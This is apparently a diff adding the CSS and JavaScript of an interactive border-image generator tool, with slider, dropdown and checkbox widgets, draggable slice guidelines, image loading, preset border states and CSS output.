+
+
+@media (min-width: 880px) {
+	#output {
+		width: 63.33% !important;
+	}
+}
+
+@media (max-width: 879px) {
+	#output {
+		width: 87% !important;
+	}
+}
+
+
+#output .title {
+	width: 100%;
+	height: 30px;
+	margin: 0 0 10px 0;
+	line-height: 25px;
+
+	text-align: center;
+	color: #AAA;
+}
+
+#output .css-property {
+	width: 100%;
+	margin: 0;
+	color: #555;
+	font-size: 14px;
+	line-height: 18px;
+	float: left;
+}
+
+#output .css-property .name {
+	width: 30%;
+	font-weight: bold;
+	text-align: right;
+	float: left;
+}
+
+#output .css-property .value {
+	width: 65%;
+	padding: 0 2.5%;
+	word-break: break-all;
+	float: left;
+}
+
+
+ +

JavaScript Content

+ +
'use strict';
+
+/**
+ * UI-SlidersManager
+ */
+
+var InputSliderManager = (function InputSliderManager() {
+
+	var subscribers = {};
+	var sliders = [];
+
+	var InputComponent = function InputComponent(obj) {
+		var input = document.createElement('input');
+		input.setAttribute('type', 'text');
+		input.style.width = 50 + obj.precision * 10 + 'px';
+
+		input.addEventListener('click', function(e) {
+			this.select();
+		});
+
+		input.addEventListener('change', function(e) {
+			var value = parseFloat(e.target.value);
+
+			if (isNaN(value) === true)
+				setValue(obj.topic, obj.value);
+			else
+				setValue(obj.topic, value);
+		});
+
+		return input;
+	};
+
+	var SliderComponent = function SliderComponent(obj, sign) {
+		var slider = document.createElement('div');
+		var startX = null;
+		var start_value = 0;
+
+		slider.addEventListener("click", function(e) {
+			document.removeEventListener("mousemove", sliderMotion);
+			setValue(obj.topic, obj.value + obj.step * sign);
+		});
+
+		slider.addEventListener("mousedown", function(e) {
+			startX = e.clientX;
+			start_value = obj.value;
+			document.body.style.cursor = "e-resize";
+
+			document.addEventListener("mouseup", slideEnd);
+			document.addEventListener("mousemove", sliderMotion);
+		});
+
+		var slideEnd = function slideEnd(e) {
+			document.removeEventListener("mousemove", sliderMotion);
+			document.body.style.cursor = "auto";
+			slider.style.cursor = "pointer";
+		};
+
+		var sliderMotion = function sliderMotion(e) {
+			slider.style.cursor = "e-resize";
+			var delta = (e.clientX - startX) / obj.sensivity | 0;
+			var value = delta * obj.step + start_value;
+			setValue(obj.topic, value);
+		};
+
+		return slider;
+	};
+
+	var InputSlider = function(node) {
+		var min		= parseFloat(node.getAttribute('data-min'));
+		var max		= parseFloat(node.getAttribute('data-max'));
+		var step	= parseFloat(node.getAttribute('data-step'));
+		var value	= parseFloat(node.getAttribute('data-value'));
+		var topic	= node.getAttribute('data-topic');
+		var unit	= node.getAttribute('data-unit');
+		var name 	= node.getAttribute('data-info');
+		var sensivity = node.getAttribute('data-sensivity') | 0;
+		var precision = node.getAttribute('data-precision') | 0;
+
+		this.min = isNaN(min) ? 0 : min;
+		this.max = isNaN(max) ? 100 : max;
+		this.precision = precision >= 0 ? precision : 0;
+		this.step = step < 0 || isNaN(step) ? 1 : step.toFixed(precision);
+		this.topic = topic;
+		this.node = node;
+		this.unit = unit === null ? '' : unit;
+		this.sensivity = sensivity > 0 ? sensivity : 5;
+		value = isNaN(value) ? this.min : value;
+
+		var input = new InputComponent(this);
+		var slider_left  = new SliderComponent(this, -1);
+		var slider_right = new SliderComponent(this,  1);
+
+		slider_left.className = 'ui-input-slider-left';
+		slider_right.className = 'ui-input-slider-right';
+
+		if (name) {
+			var info = document.createElement('span');
+			info.className = 'ui-input-slider-info';
+			info.textContent = name;
+			node.appendChild(info);
+		}
+
+		node.appendChild(slider_left);
+		node.appendChild(input);
+		node.appendChild(slider_right);
+
+		this.input = input;
+		sliders[topic] = this;
+		setValue(topic, value);
+	};
+
+	InputSlider.prototype.setInputValue = function setInputValue() {
+		this.input.value = this.value.toFixed(this.precision) + this.unit;
+	};
+
+	var setValue = function setValue(topic, value, send_notify) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		value = parseFloat(value.toFixed(slider.precision));
+
+		if (value > slider.max) value = slider.max;
+		if (value < slider.min)	value = slider.min;
+
+		slider.value = value;
+		slider.node.setAttribute('data-value', value);
+
+		slider.setInputValue();
+
+		if (send_notify === false)
+			return;
+
+		notify.call(slider);
+	};
+
+	var setMax = function setMax(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.max = value;
+		setValue(topic, slider.value);
+	};
+
+	var setMin = function setMin(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.min = value;
+		setValue(topic, slider.value);
+	};
+
+	var setUnit = function setUnit(topic, unit) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.unit = unit;
+		setValue(topic, slider.value);
+	};
+
+	var setStep = function setStep(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.step = parseFloat(value);
+		setValue(topic, slider.value);
+	};
+
+	var setPrecision = function setPrecision(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		value = value | 0;
+		slider.precision = value;
+
+		var step = parseFloat(slider.step.toFixed(value));
+		if (step === 0)
+			slider.step = 1 / Math.pow(10, value);
+
+		setValue(topic, slider.value);
+	};
+
+	var setSensivity = function setSensivity(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		value = value | 0;
+
+		slider.sensivity = value > 0 ? value : 5;
+	};
+
+	var getNode =  function getNode(topic) {
+		return sliders[topic].node;
+	};
+
+	var getPrecision =  function getPrecision(topic) {
+		return sliders[topic].precision;
+	};
+
+	var getStep =  function getStep(topic) {
+		return sliders[topic].step;
+	};
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+		subscribers[topic].push(callback);
+	};
+
+	var unsubscribe = function unsubscribe(topic, callback) {
+		subscribers[topic].indexOf(callback);
+		subscribers[topic].splice(index, 1);
+	};
+
+	var notify = function notify() {
+		if (subscribers[this.topic] === undefined)
+			return;
+		for (var i = 0; i < subscribers[this.topic].length; i++)
+			subscribers[this.topic][i](this.value);
+	};
+
+	var createSlider = function createSlider(topic, label) {
+		var slider = document.createElement('div');
+		slider.className = 'ui-input-slider';
+		slider.setAttribute('data-topic', topic);
+
+		if (label !== undefined)
+			slider.setAttribute('data-info', label);
+
+		new InputSlider(slider);
+		return slider;
+	};
+
+	var init = function init() {
+		var elem = document.querySelectorAll('.ui-input-slider');
+		var size = elem.length;
+		for (var i = 0; i < size; i++)
+			new InputSlider(elem[i]);
+	};
+
+	return {
+		init : init,
+		setMax : setMax,
+		setMin : setMin,
+		setUnit : setUnit,
+		setStep : setStep,
+		getNode : getNode,
+		getStep : getStep,
+		setValue : setValue,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe,
+		setPrecision : setPrecision,
+		setSensivity : setSensivity,
+		getPrecision : getPrecision,
+		createSlider : createSlider,
+	};
+
+})();
+
+
+/**
+ * UI-DropDown Select
+ */
+
+var DropDownManager = (function DropdownManager() {
+
+	var subscribers = {};
+	var dropdowns = [];
+	var active = null;
+
+	var visbility = ["hidden", "visible"];
+
+
+	var DropDown = function DropDown(node) {
+		var topic = node.getAttribute('data-topic');
+		var label = node.getAttribute('data-label');
+		var selected = node.getAttribute('data-selected') | 0;
+
+		var select = document.createElement('div');
+		var list = document.createElement('div');
+		var uval = 0;
+		var option = null;
+		var option_value = null;
+
+		list.className = 'ui-dropdown-list';
+		select.className = 'ui-dropdown-select';
+
+		while (node.firstElementChild !== null) {
+			option = node.firstElementChild;
+			option_value = option.getAttribute('data-value');
+
+			if (option_value === null)
+				option.setAttribute('data-value', uval);
+
+			list.appendChild(node.firstElementChild);
+			uval++;
+		}
+
+		node.appendChild(select);
+		node.appendChild(list);
+
+		select.onclick = this.toggle.bind(this);
+		list.onclick = this.updateValue.bind(this);
+		document.addEventListener('click', clickOut);
+
+		this.state = 0;
+		this.time = 0;
+		this.dropmenu = list;
+		this.select = select;
+		this.toggle(false);
+		this.value = {};
+		this.topic = topic;
+
+		if (label)
+			select.textContent = label;
+		else
+			this.setNodeValue(list.children[selected]);
+
+		dropdowns[topic] = this;
+
+	};
+
+	DropDown.prototype.toggle = function toggle(state) {
+		if (typeof(state) === 'boolean')
+			this.state = state === false ? 0 : 1;
+		else
+			this.state = 1 ^ this.state;
+
+		if (active !== this) {
+			if (active)
+				active.toggle(false);
+			active = this;
+		}
+
+		if (this.state === 0)
+			this.dropmenu.setAttribute('data-hidden', 'true');
+		else
+			this.dropmenu.removeAttribute('data-hidden');
+
+	};
+
+	var clickOut = function clickOut(e) {
+		if (active.state === 0 ||
+			e.target === active.dropmenu ||
+			e.target === active.select)
+			return;
+
+		active.toggle(false);
+	};
+
+	DropDown.prototype.updateValue = function updateValue(e) {
+
+		if (Date.now() - this.time < 500)
+			return;
+
+		if (e.target.className !== "ui-dropdown-list") {
+			this.setNodeValue(e.target);
+			this.toggle(false);
+		}
+
+		this.time = Date.now();
+	};
+
+	DropDown.prototype.setNodeValue = function setNodeValue(node) {
+		this.value['name'] = node.textContent;
+		this.value['value'] = node.getAttribute('data-value');
+
+		this.select.textContent = node.textContent;
+		this.select.setAttribute('data-value', this.value['value']);
+
+		notify.call(this);
+	};
+
+	var createDropDown = function createDropDown(topic, options) {
+
+		var dropdown = document.createElement('div');
+		dropdown.setAttribute('data-topic', topic);
+		dropdown.className = 'ui-dropdown';
+
+		for (var i in options) {
+			var x = document.createElement('div');
+			x.setAttribute('data-value', i);
+			x.textContent = options[i];
+			dropdown.appendChild(x);
+		}
+
+		new DropDown(dropdown);
+
+		return dropdown;
+	};
+
+	var setValue = function setValue(topic, index) {
+		if (dropdowns[topic] === undefined ||
+			index >= dropdowns[topic].dropmenu.children.length)
+			return;
+
+		dropdowns[topic].setNodeValue(dropdowns[topic].dropmenu.children[index]);
+	};
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+		subscribers[topic].push(callback);
+	};
+
+	var unsubscribe = function unsubscribe(topic, callback) {
+		var index = subscribers[topic].indexOf(callback);
+		subscribers[topic].splice(index, 1);
+	};
+
+	var notify = function notify() {
+		if (subscribers[this.topic] === undefined)
+			return;
+
+		for (var i in subscribers[this.topic]) {
+			subscribers[this.topic][i](this.value);
+		}
+	};
+
+	var init = function init() {
+		var elem, size;
+
+		elem = document.querySelectorAll('.ui-dropdown');
+		size = elem.length;
+		for (var i = 0; i < size; i++)
+			new DropDown(elem[i]);
+
+	};
+
+	return {
+		init : init,
+		setValue : setValue,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe,
+		createDropDown : createDropDown
+	};
+
+})();
+
+
+/**
+ * UI-ButtonManager
+ */
+
+var ButtonManager = (function CheckBoxManager() {
+
+	var subscribers = [];
+	var buttons = [];
+
+	var CheckBox = function CheckBox(node) {
+		var topic = node.getAttribute('data-topic');
+		var state = node.getAttribute('data-state');
+		var name = node.getAttribute('data-label');
+		var align = node.getAttribute('data-text-on');
+
+		state = (state === "true");
+
+		var checkbox = document.createElement("input");
+		var label = document.createElement("label");
+
+		var id = 'checkbox-' + topic;
+		checkbox.id = id;
+		checkbox.setAttribute('type', 'checkbox');
+		checkbox.checked = state;
+
+		label.setAttribute('for', id);
+		if (name) {
+			label.className = 'text';
+			if (align)
+				label.className += ' ' + align;
+			label.textContent = name;
+		}
+
+		node.appendChild(checkbox);
+		node.appendChild(label);
+
+		this.node = node;
+		this.topic = topic;
+		this.checkbox = checkbox;
+
+		checkbox.addEventListener('change', function(e) {
+			notify.call(this);
+		}.bind(this));
+
+		buttons[topic] = this;
+	};
+
+	var getNode =  function getNode(topic) {
+		return buttons[topic].node;
+	};
+
+	var setValue = function setValue(topic, value) {
+		var obj = buttons[topic];
+		if (obj === undefined)
+			return;
+
+		obj.checkbox.checked = value;
+		notify.call(obj);
+	};
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+
+		subscribers[topic].push(callback);
+	};
+
+	var unsubscribe = function unsubscribe(topic, callback) {
+		subscribers[topic].indexOf(callback);
+		subscribers[topic].splice(index, 1);
+	};
+
+	var notify = function notify() {
+		if (subscribers[this.topic] === undefined)
+			return;
+		for (var i = 0; i < subscribers[this.topic].length; i++)
+			subscribers[this.topic][i](this.checkbox.checked);
+	};
+
+	var init = function init() {
+		var elem = document.querySelectorAll('.ui-checkbox');
+		var size = elem.length;
+		for (var i = 0; i < size; i++)
+			new CheckBox(elem[i]);
+	};
+
+	return {
+		init : init,
+		setValue : setValue,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe
+	};
+
+})();
+
+window.addEventListener("load", function() {
+	BorderImage.init();
+});
+
+var BorderImage = (function BorderImage() {
+
+	var getElemById = document.getElementById.bind(document);
+
+	var subject;
+	var preview;
+	var guidelines = [];
+	var positions = ['top', 'right', 'bottom', 'left'];
+
+	var makeDraggable = function makeDraggable(elem) {
+
+		var offsetTop;
+		var offsetLeft;
+
+		elem.setAttribute('data-draggable', 'true');
+
+		var dragStart = function dragStart(e) {
+			if (e.target.getAttribute('data-draggable') !== 'true' ||
+				e.target !== elem || e.button !== 0)
+				return;
+
+			offsetLeft = e.clientX - elem.offsetLeft;
+			offsetTop = e.clientY - elem.offsetTop;
+
+			document.addEventListener('mousemove', mouseDrag);
+			document.addEventListener('mouseup', dragEnd);
+		};
+
+		var dragEnd = function dragEnd(e) {
+			if (e.button !== 0)
+				return;
+
+			document.removeEventListener('mousemove', mouseDrag);
+			document.removeEventListener('mouseup', dragEnd);
+		};
+
+		var mouseDrag = function mouseDrag(e) {
+
+			elem.style.left = e.clientX - offsetLeft + 'px';
+			elem.style.top = e.clientY - offsetTop + 'px';
+		};
+
+		elem.addEventListener('mousedown', dragStart, false);
+	};
+
+	var PreviewControl = function PreviewControl() {
+
+		var dragging = false;
+		var valueX = null;
+		var valueY = null;
+
+		var dragStart = function dragStart(e) {
+			if (e.button !== 0)
+				return;
+
+			valueX = e.clientX - preview.clientWidth;
+			valueY = e.clientY - preview.clientHeight;
+			dragging = true;
+
+			document.addEventListener('mousemove', mouseDrag);
+		};
+
+		var dragEnd = function dragEnd(e) {
+			if (e.button !== 0 || dragging === false)
+				return;
+
+			document.removeEventListener('mousemove', mouseDrag);
+			dragging = false;
+		};
+
+		var mouseDrag = function mouseDrag(e) {
+			InputSliderManager.setValue('preview-width', e.clientX - valueX);
+			InputSliderManager.setValue('preview-height', e.clientY - valueY);
+		};
+
+		var init = function init() {
+
+			makeDraggable(preview);
+			makeDraggable(subject);
+
+			var handle = document.createElement('div');
+			handle.className = 'resize-handle';
+
+			handle.addEventListener('mousedown', dragStart);
+			document.addEventListener('mouseup', dragEnd);
+
+			preview.appendChild(handle);
+
+		};
+
+		return {
+			init: init
+		};
+
+	}();
+
+	var ImageReader = (function ImageReader() {
+
+		var fReader = new FileReader();
+		var browse = document.createElement('input');
+
+		var loadImage = function loadImage(e) {
+			if (browse.files.length === 0)
+				return;
+
+			var file = browse.files[0];
+
+			if (file.type.slice(0, 5) !== 'image')
+				return;
+
+			fReader.readAsDataURL(file);
+
+			return false;
+		};
+
+		fReader.onload = function(e) {
+			ImageControl.loadRemoteImage(e.target.result);
+		};
+
+		var load = function load() {
+			browse.click();
+		};
+
+		browse.setAttribute('type', 'file');
+		browse.style.display = 'none';
+		browse.onchange = loadImage;
+
+		return {
+			load: load
+		};
+
+	})();
+
+	var ImageControl = (function ImageControl() {
+
+		var scale = 0.5;
+		var imgSource = new Image();
+		var imgState = null;
+		var selected = null;
+
+
+		var topics = ['slice', 'width', 'outset'];
+		var properties = {};
+		properties['border1'] = {
+			fill			: false,
+
+			slice_values	: [27, 27, 27, 27],
+			width_values	: [20, 20, 20, 20],
+			outset_values	: [0, 0, 0, 0],
+
+			slice_units		: [0, 0, 0, 0],
+			width_units		: [0, 0, 0, 0],
+			outset_units	: [0, 0, 0, 0],
+
+			repeat			: [1, 1],
+			size			: [300, 200],
+			preview_area	: 400
+		};
+
+		properties['border2'] = {
+			fill			: false,
+
+			slice_values	: [33, 33, 33, 33],
+			width_values	: [1.5, 1.5, 1.5, 1.5],
+			outset_values	: [0, 0, 0, 0],
+
+			slice_units		: [1, 1, 1, 1],
+			width_units		: [2, 2, 2, 2],
+			outset_units	: [0, 0, 0, 0],
+
+			repeat			: [2, 2],
+			size			: [300, 200],
+			preview_area	: 400
+		};
+
+		properties['border3'] = {
+			fill			: true,
+
+			slice_values	: [15, 15, 15, 15],
+			width_values	: [10, 10, 10, 10],
+			outset_values	: [0, 0, 0, 0],
+
+			slice_units		: [0, 0, 0, 0],
+			width_units		: [0, 0, 0, 0],
+			outset_units	: [0, 0, 0, 0],
+
+			repeat			: [2, 2],
+			size			: [300, 200],
+			preview_area	: 400
+		};
+
+		properties['border4'] = {
+			fill			: false,
+
+			slice_values	: [13, 13, 13, 13],
+			width_values	: [13, 13, 13, 13],
+			outset_values	: [13, 13, 13, 13],
+
+			slice_units		: [0, 0, 0, 0],
+			width_units		: [0, 0, 0, 0],
+			outset_units	: [0, 0, 0, 0],
+
+			repeat			: [0, 0],
+			size			: [300, 200],
+			preview_area	: 400
+		};
+
+		properties['border5'] = {
+			fill			: false,
+
+			slice_values	: [0, 12, 0, 12],
+			width_values	: [0, 12, 0, 12],
+			outset_values	: [0, 0, 0, 0],
+
+			slice_units		: [0, 0, 0, 0],
+			width_units		: [0, 0, 0, 0],
+			outset_units	: [0, 0, 0, 0],
+
+			repeat			: [0, 0],
+			size			: [300, 200],
+			preview_area	: 400,
+		};
+
+		properties['border6'] = {
+			fill			: false,
+
+			slice_values	: [42, 42, 42, 42],
+			width_values	: [42, 42, 42, 42],
+			outset_values	: [0, 0, 0, 0],
+
+			slice_units		: [0, 0, 0, 0],
+			width_units		: [0, 0, 0, 0],
+			outset_units	: [0, 0, 0, 0],
+
+			repeat			: [2, 2],
+			size			: [350, 350],
+			preview_area	: 500,
+		};
+
+
+		var loadLocalImage = function loadLocalImage(source) {
+			var location = "images/" + source;
+			imgSource.src = location;
+		};
+
+		var loadRemoteImage = function loadRemoteImage(source) {
+			imgSource.src = source;
+			if (selected)
+				selected.removeAttribute('selected');
+			Tool.setOutputCSS('source', 'url("' + source + '")');
+		};
+
+		var pickImage = function pickImage(e) {
+			if (e.target.className === 'image') {
+				selected = e.target;
+				selected.setAttribute('selected', 'true');
+				loadRemoteImage(e.target.src);
+				imgState = e.target.getAttribute('data-stateID');
+			}
+		};
+
+		var loadImageState = function loadImageState(stateID) {
+			if (properties[stateID] === undefined)
+				return;
+
+			var prop = properties[stateID];
+			var topic;
+			var unit_array;
+			var value_array;
+
+			for (var i in topics) {
+				for (var j=0; j<4; j++) {
+					topic = topics[i] + '-' + positions[j];
+					unit_array = topics[i] + '_units';
+					value_array = topics[i] + '_values';
+					InputSliderManager.setValue(topic, prop[value_array][j]);
+					DropDownManager.setValue(topic, prop[unit_array][j]);
+				}
+			}
+
+			ButtonManager.setValue('slice-fill', prop['fill']);
+			DropDownManager.setValue('image-repeat-X', prop['repeat'][0]);
+			DropDownManager.setValue('image-repeat-Y', prop['repeat'][1]);
+			InputSliderManager.setValue('preview-width', prop['size'][0]);
+			InputSliderManager.setValue('preview-height', prop['size'][1]);
+			InputSliderManager.setValue('preview-area-height', prop['preview_area']);
+		};
+
+		var update = function update() {
+			scale =  Math.min(300, (30000 / this.width) | 0);
+			setScale(scale);
+			InputSliderManager.setValue('scale', scale, false);
+
+			subject.style.backgroundImage = 'url("' + this.src + '")';
+			preview.style.borderImageSource = 'url("' + this.src + '")';
+
+			guidelines['slice-top'].setMax(this.height);
+			guidelines['slice-right'].setMax(this.width);
+			guidelines['slice-bottom'].setMax(this.height);
+			guidelines['slice-left'].setMax(this.width);
+
+			if (imgState)
+				loadImageState(imgState);
+		};
+
+		var setScale = function setScale(value) {
+			scale = value;
+			var w = imgSource.width * scale / 100 | 0;
+			var h = imgSource.height * scale / 100 | 0;
+			subject.style.width = w + 'px';
+			subject.style.height = h + 'px';
+
+			for (var i = 0; i < positions.length; i++)
+				guidelines['slice-' + positions[i]].updateGuidelinePos();
+		};
+
+		var getScale = function getScale() {
+			return scale/100;
+		};
+
+		var toggleGallery = function toggleGallery() {
+			var gallery = getElemById('image-gallery');
+			var button  = getElemById('toggle-gallery');
+			var state = 1;
+			button.addEventListener('click', function() {
+				state = 1 ^ state;
+				if (state === 0) {
+					gallery.setAttribute('data-collapsed', 'true');
+					button.setAttribute('data-action', 'show');
+				}
+				else {
+					gallery.removeAttribute('data-collapsed');
+					button.setAttribute('data-action', 'hide');
+				}
+			});
+		};
+
+		var init = function init() {
+			var gallery = getElemById('image-gallery');
+			var browse = getElemById('load-image');
+			var remote = getElemById('remote-url');
+			var load_remote = getElemById('load-remote');
+
+			remote.addEventListener('change', function(){
+				loadRemoteImage(this.value);
+			});
+
+			load_remote.addEventListener('click', function(){
+				loadRemoteImage(remote.value);
+			});
+
+			browse.addEventListener('click', ImageReader.load);
+			gallery.addEventListener('click', pickImage);
+			imgSource.addEventListener('load', update);
+
+			InputSliderManager.subscribe('scale', setScale);
+			InputSliderManager.setValue('scale', scale);
+			imgState = 'border1';
+			loadRemoteImage('https://mdn.mozillademos.org/files/6007/border-image-1.png');
+			toggleGallery();
+		};
+
+		return {
+			init: init,
+			getScale : getScale,
+			loadRemoteImage: loadRemoteImage
+		};
+
+	})();
+
+	var GuideLine = function GuideLine(node) {
+		var topic = node.getAttribute('data-topic');
+		var axis = node.getAttribute('data-axis');
+
+		this.node = node;
+		this.topic = topic;
+		this.axis = axis;
+		this.info = topic.split('-')[1];
+
+		this.position = 0;
+		this.value = 0;
+		this.unit = 0;
+		this.max = 0;
+		this.pos = positions.indexOf(this.info);
+
+		guidelines[topic] = this;
+
+		var relative_container = document.createElement('div');
+		var tooltip = document.createElement('div');
+		var tooltip2 = document.createElement('div');
+
+		tooltip.className = 'tooltip';
+		tooltip.setAttribute('data-info', this.info);
+
+		tooltip2.className = 'tooltip2';
+		tooltip2.textContent = this.info;
+		tooltip2.setAttribute('data-info', this.info);
+
+		this.tooltip = tooltip;
+
+		relative_container.appendChild(tooltip);
+		relative_container.appendChild(tooltip2);
+		node.appendChild(relative_container);
+
+		var startX = 0;
+		var startY = 0;
+		var start = 0;
+
+		var startDrag = function startDrag(e) {
+			startX = e.clientX;
+			startY = e.clientY;
+			start = guidelines[topic].position;
+			document.body.setAttribute('data-move', axis);
+			relative_container.setAttribute('data-active', '');
+			node.setAttribute('data-active', '');
+
+			document.addEventListener('mousemove', updateGuideline);
+			document.addEventListener('mouseup', endDrag);
+		};
+
+		var endDrag = function endDrag() {
+			document.body.removeAttribute('data-move');
+			relative_container.removeAttribute('data-active');
+			node.removeAttribute('data-active');
+
+			document.removeEventListener('mousemove', updateGuideline);
+		};
+
+		var updateGuideline = function updateGuideline(e) {
+			var value;
+			if (topic === 'slice-top')
+				value = e.clientY - startY + start;
+
+			if (topic === 'slice-right')
+				value = startX - e.clientX + start;
+
+			if (topic === 'slice-bottom')
+				value = startY - e.clientY + start;
+
+			if (topic === 'slice-left')
+				value = e.clientX - startX + start;
+
+			if (this.unit === 0)
+				InputSliderManager.setValue(topic, value * 1 / ImageControl.getScale() | 0);
+			else {
+				InputSliderManager.setValue(topic, (value * 100 / (this.max * ImageControl.getScale())) | 0);
+			}
+
+		}.bind(this);
+
+		node.addEventListener("mousedown", startDrag);
+
+		InputSliderManager.subscribe(topic, this.setPosition.bind(this));
+		InputSliderManager.setValue(topic, this.position);
+	};
+
+
+	GuideLine.prototype.updateGuidelinePos = function updateGuidelinePos() {
+		if (this.unit === 0)
+			this.position = this.value * ImageControl.getScale() | 0;
+		else
+			this.position = this.value * this.max * ImageControl.getScale() / 100 | 0;
+
+		this.node.style[this.info] = this.position + 'px';
+	};
+
+	GuideLine.prototype.setPosition = function setPosition(value) {
+		this.value = value;
+		this.tooltip.textContent = value;
+		this.updateGuidelinePos();
+		Tool.setBorderSlice(this.pos, value);
+	};
+
+	GuideLine.prototype.setMax = function setMax(max) {
+		this.max = max;
+		this.updateLimit();
+	};
+
+	GuideLine.prototype.updateLimit = function updateLimit() {
+		if (this.unit === 1)
+			InputSliderManager.setMax(this.topic, 100);
+		else
+			InputSliderManager.setMax(this.topic, this.max);
+	};
+
+	GuideLine.prototype.setUnit = function setUnit(type) {
+		if (type === '%')	this.unit = 1;
+		if (type === '')	this.unit = 0;
+		this.updateLimit();
+	};
+
+	/*
+	 * Unit panel
+	 */
+	var UnitPanel = (function UnitPanel () {
+
+		var panel;
+		var title;
+		var precision;
+		var step;
+		var unit_topic = null; // settings are made for this topic
+		var step_option = [1, 0.1, 0.01];
+
+		var updatePrecision = function updatePrecision(value) {
+			InputSliderManager.setPrecision('unit-step', value);
+			InputSliderManager.setStep('unit-step', step_option[value]);
+			InputSliderManager.setMin('unit-step', step_option[value]);
+
+			if (unit_topic)
+				InputSliderManager.setPrecision(unit_topic, value);
+		};
+
+		var updateUnitSettings = function updateUnitSettings(value) {
+			if (unit_topic)
+				InputSliderManager.setStep(unit_topic, value);
+		};
+
+		var show = function show(e) {
+			var topic = e.target.getAttribute('data-topic');
+			var precision = InputSliderManager.getPrecision(topic);
+			var step = InputSliderManager.getStep(topic);
+
+			unit_topic = topic;
+			title.textContent = topic;
+
+			panel.setAttribute('data-active', 'true');
+			panel.style.top = e.target.offsetTop - 40 + 'px';
+			panel.style.left = e.target.offsetLeft + 30 + 'px';
+
+			InputSliderManager.setValue('unit-precision', precision);
+			InputSliderManager.setValue('unit-step', step);
+		};
+
+		var init = function init() {
+			panel = document.createElement('div');
+			title = document.createElement('div');
+			var close = document.createElement('div');
+
+			step = InputSliderManager.createSlider('unit-step', 'step');
+			precision = InputSliderManager.createSlider('unit-precision', 'precision');
+
+			InputSliderManager.setStep('unit-precision', 1);
+			InputSliderManager.setMax('unit-precision', 2);
+			InputSliderManager.setValue('unit-precision', 2);
+			InputSliderManager.setSensivity('unit-precision', 20);
+
+			InputSliderManager.setValue('unit-step', 1);
+			InputSliderManager.setStep('unit-step', 0.01);
+			InputSliderManager.setPrecision('unit-step', 2);
+
+			InputSliderManager.subscribe('unit-precision', updatePrecision);
+			InputSliderManager.subscribe('unit-step', updateUnitSettings);
+
+			close.addEventListener('click', function () {
+				panel.setAttribute('data-active', 'false');
+			});
+
+			title.textContent = 'Properties';
+			title.className = 'title';
+			close.className = 'close';
+			panel.id = 'unit-settings';
+			panel.setAttribute('data-active', 'false');
+			panel.appendChild(title);
+			panel.appendChild(precision);
+			panel.appendChild(step);
+			panel.appendChild(close);
+			document.body.appendChild(panel);
+		};
+
+		return {
+			init : init,
+			show : show
+		};
+
+	})();
+
+	/**
+	 * Tool Manager
+	 */
+	var Tool = (function Tool() {
+		var preview_area;
+		var dropdown_unit_options = [
+			{ '' : '--', '%' : '%'},
+			{ 'px' : 'px', '%' : '%', 'em' : 'em'},
+			{ 'px' : 'px', 'em' : 'em'},
+		];
+
+		var border_slice = [];
+		var border_width = [];
+		var border_outset = [];
+
+		var border_slice_values = [];
+		var border_width_values = [];
+		var border_outset_values = [];
+
+		var border_slice_units = ['', '', '', ''];
+		var border_width_units = ['px', 'px', 'px', 'px'];
+		var border_outset_units = ['px', 'px', 'px', 'px'];
+
+		var border_fill = false;
+		var border_repeat = ['round', 'round'];
+		var CSS_code = {
+			'source' : null,
+			'slice' : null,
+			'width' : null,
+			'outset' : null,
+			'repeat' : null
+		};
+
+		var setBorderSlice = function setBorderSlice(positionID, value) {
+			border_slice[positionID] = value + border_slice_units[positionID];
+			updateBorderSlice();
+		};
+
+		var updateBorderSlice = function updateBorderSlice() {
+			var value = border_slice.join(' ');
+			if (border_fill === true)
+				value += ' fill';
+
+			preview.style.borderImageSlice = value;
+			setOutputCSS('slice', value);
+		};
+
+		var setBorderFill = function setBorderFill(value) {
+			border_fill = value;
+			var bimgslice = border_slice.join(' ');;
+			if (value === true)
+				bimgslice += ' fill';
+
+			preview.style.borderImageSlice = bimgslice;
+		};
+
+		var updateBorderWidth = function updateBorderWidth() {
+			var value = border_width.join(' ');
+			preview.style.borderImageWidth = value;
+			setOutputCSS('width', value);
+		};
+
+		var updateBorderOutset = function updateBorderOutset() {
+			var value = border_outset.join(' ');
+			preview.style.borderImageOutset = border_outset.join(' ');
+			setOutputCSS('outset', value);
+		};
+
+		var setBorderRepeat = function setBorderRepeat(obj) {
+			border_repeat[obj.value] = obj.name;
+			var value = border_repeat.join(' ');
+			preview.style.borderImageRepeat = value;
+			setOutputCSS('repeat', value);
+		};
+
+		var setOutputCSS = function setOutputCSS(topic, value) {
+			CSS_code[topic].textContent = value + ';';
+		};
+
+		var setPreviewFontSize = function setPreviewFontSize(value) {
+			preview.style.fontSize = value + 'px';
+		};
+
+		var setPreviewWidth = function setPreviewWidth(value) {
+			preview.style.width = value + 'px';
+		};
+
+		var setPreviewHeight = function setPreviewHeight(value) {
+			preview.style.height = value + 'px';
+		};
+
+		var setPreviewAreaHeight = function setPreviewAreaHeight(value) {
+			preview_area.style.height = value + 'px';
+		};
+
+		var updateDragOption = function updateDragOption(value) {
+			if (value === true)
+				subject.setAttribute('data-draggable', 'true');
+			else
+				subject.removeAttribute('data-draggable');
+		};
+
+		var createProperty = function createProperty(topic, labelID, optionsID) {
+
+			var slider = InputSliderManager.createSlider(topic, positions[labelID]);
+			var dropdown = DropDownManager.createDropDown(topic, dropdown_unit_options[optionsID]);
+
+			InputSliderManager.setSensivity(topic, 3);
+			InputSliderManager.setPrecision(topic, 1);
+
+			var property = document.createElement('div');
+			var config = document.createElement('div');
+
+			property.className = 'property';
+			config.className = 'config';
+			config.setAttribute('data-topic', topic);
+			config.addEventListener('click', UnitPanel.show);
+
+			property.appendChild(slider);
+			property.appendChild(dropdown);
+			property.appendChild(config);
